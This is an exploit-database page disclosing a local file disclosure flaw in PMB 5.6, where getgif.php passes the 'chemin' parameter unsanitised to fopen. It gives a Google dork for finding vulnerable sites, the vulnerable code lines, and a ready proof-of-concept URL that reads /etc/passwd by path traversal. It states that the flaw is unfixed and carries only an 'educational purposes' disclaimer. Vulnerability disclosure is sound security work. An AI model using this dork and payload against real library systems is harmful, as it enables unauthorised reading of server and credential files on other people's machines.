Pmb 5.6 chemin local file disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-11-16 | Type : webapps | Platform : php
This exploit / vulnerability Pmb 5.6 chemin local file disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: PMB 5.6 - 'chemin' Local File Disclosure
# Date: 2020-10-13
# Google Dork: inurl:opac_css
# Exploit Author: 41-trk (Tarik Bakir)
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 5.6
# Tested on: Ubuntu 18.04.1

The PMB Gif Image is not sanitizing the 'chemin',
which leads to Local File Disclosure.

As of today (2020-10-13) this issue is unfixed.

Vulnerable code: (getgif.php )

line 55 $fp2=@fopen($chemin, "rb");
line 68 fpassthru($fp)


========================= Proof-of-Concept ===================================================

http://127.0.0.1:2121/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik